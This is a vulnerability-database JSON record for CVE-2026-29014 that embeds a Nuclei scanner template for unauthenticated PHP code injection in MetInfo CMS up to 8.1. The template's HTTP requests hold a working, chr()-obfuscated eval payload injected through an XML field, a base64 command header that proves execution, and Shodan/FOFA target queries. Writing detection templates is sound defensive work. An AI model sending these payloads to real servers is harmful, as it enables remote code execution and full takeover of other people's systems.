{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-29014/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-29014/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-29014/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-29014/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-29014/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-29014/enrichment"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-29014"
    },
    "vulnerability": {
      "href": "/api/v1/vulnerability/cve-2026-29014"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2026/CVE-2026-29014.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2026-29014\n\ninfo:\n  name: MetInfo CMS <= 8.1 - Remote Code Execution\n  author: 0x_Akoko\n  severity: critical\n  description: |\n   MetInfo CMS 7.9, 8.0, and 8.1 contain an unauthenticated PHP code injection vulnerability caused by insufficient input neutralization in the execution path, letting remote attackers execute arbitrary code remotely, exploit requires crafted requests.\n  impact: |\n   Remote attackers can execute arbitrary code, gaining full control over the affected server.\n  remediation: |\n   Update to the latest version beyond 8.1.\n  reference:\n    - https://karmainsecurity.com/KIS-2026-06\n    - https://www.metinfo.cn\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-29014\n  classification:\n    cve-id: CVE-2026-29014\n    epss-score: 0.3949\n    epss-percentile: 0.98616\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cwe-id: CWE-94\n  metadata:\n    max-request: 3\n    verified: true\n    shodan-query: http.title:\"MetInfo\"\n    fofa-query: app=\"MetInfo\"\n  tags: cve,cve2026,metinfo,rce,php,vkev\n\nvariables:\n  num1: \"{{rand_int(800000, 999999)}}\"\n  num2: \"{{rand_int(800000, 999999)}}\"\n  result: \"{{to_number(num1)*to_number(num2)}}\"\n\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"MetInfo\", \"mituo\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /app/system/entrance.php?n=include&m=module&c=weixin&a=doapi HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/xml\n\n        <x><MsgType>event</MsgType><Event>SCAN</Event><EventKey>adminlogin&#x26;../config/tables</EventKey><FromUserName>{${eval(base64_decode($_SERVER[chr(72).chr(84).chr(84).chr(80).chr(95).chr(67)]))}}.{${die()}}</FromUserName></x>\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"success\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /app/system/entrance.php?n=include&m=module&c=weixin&a=doapi HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/xml\n        C: {{base64(\"echo {{num1}}*{{num2}};die();\")}}\n\n        <x><MsgType>event</MsgType><Event>SCAN</Event><EventKey>adminlogin&#x26;Array</EventKey></x>\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(content_type, \"text/html\")'\n          - 'contains(body, \"{{result}}\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 490a0046304402207928369af0ed5bd1da21b8ad6fe2ad51d991e17663d53f87c66f814a215d98b202202cb3f0c24872c017e5823c923afd05c124842e4cb025b9f0b28d37be7ae4fcbb:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2026-29014"
}